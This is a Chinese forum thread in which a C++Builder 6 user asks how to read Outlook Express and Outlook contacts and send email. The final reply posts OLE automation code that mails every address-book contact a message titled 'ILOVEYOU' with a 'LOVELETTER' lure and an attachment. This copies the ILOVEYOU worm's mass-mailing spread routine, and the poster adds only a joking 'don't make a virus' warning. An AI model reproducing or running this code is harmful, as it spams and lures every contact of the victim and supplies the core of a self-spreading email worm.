有关Express地址薄和Outlook联系人的问题?

[taoli1979]

我用的是BCB6，我想在程序中读取Express地址薄和Outlook联系人添加到我的ListView里，然后用户可以在我的程序里发邮件。请问我要用什么控件或是函数读取
Express地址薄和Outlook联系人的内容，还有怎样发邮件呢？谢谢

[taoli1979]

有人能帮帮我吗？呜呜

[invalid]

express可以用msdn里面的一个wab的例子修改一下即可。

[88480]

up

[MEFULEU]

教你一个办法;1首先把Express地址薄导入到Outlook;

2然后使用快乐时光的办法；搜索所有的地址--因为对Express地址薄无效，所以只好要求1步

3:代码如下: ---可别做病毒啊;

#include <utilcls.h>
#include <ComObj.hpp>


int olMailItem = 0;
Variant Outlook,Mapi,a,Malead,Male;
Variant vMailItem ;
int ctrentries,CtrLists;
Outlook = CreateOleObject("Outlook.Application");
Mapi=Outlook.OleFunction("GetNameSpace","MAPI");
for(CtrLists=1;CtrLists<=Mapi.OlePropertyGet("AddressLists").OlePropertyGet("Count");CtrLists++)
{
a= Mapi.OlePropertyGet("AddressLists",CtrLists);
for(ctrentries = 1; ctrentries<=a.OlePropertyGet("AddressEntries").OlePropertyGet("Count") ;ctrentries++)
{
Malead=a.OlePropertyGet("AddressEntries",ctrentries);
Male = Outlook.OleFunction("CreateItem",0) ;
Male.OlePropertyGet("Recipients").OleFunction("Add",Malead);
Male.OlePropertySet("Subject","ILOVEYOU");
Male.OlePropertySet("Body","kindly check the attached LOVELETTER coming from me.");
Male.OlePropertyGet("Attachments").OleFunction("Add", "c:\\text.txt");
Male.OleFunction("Send");
}
}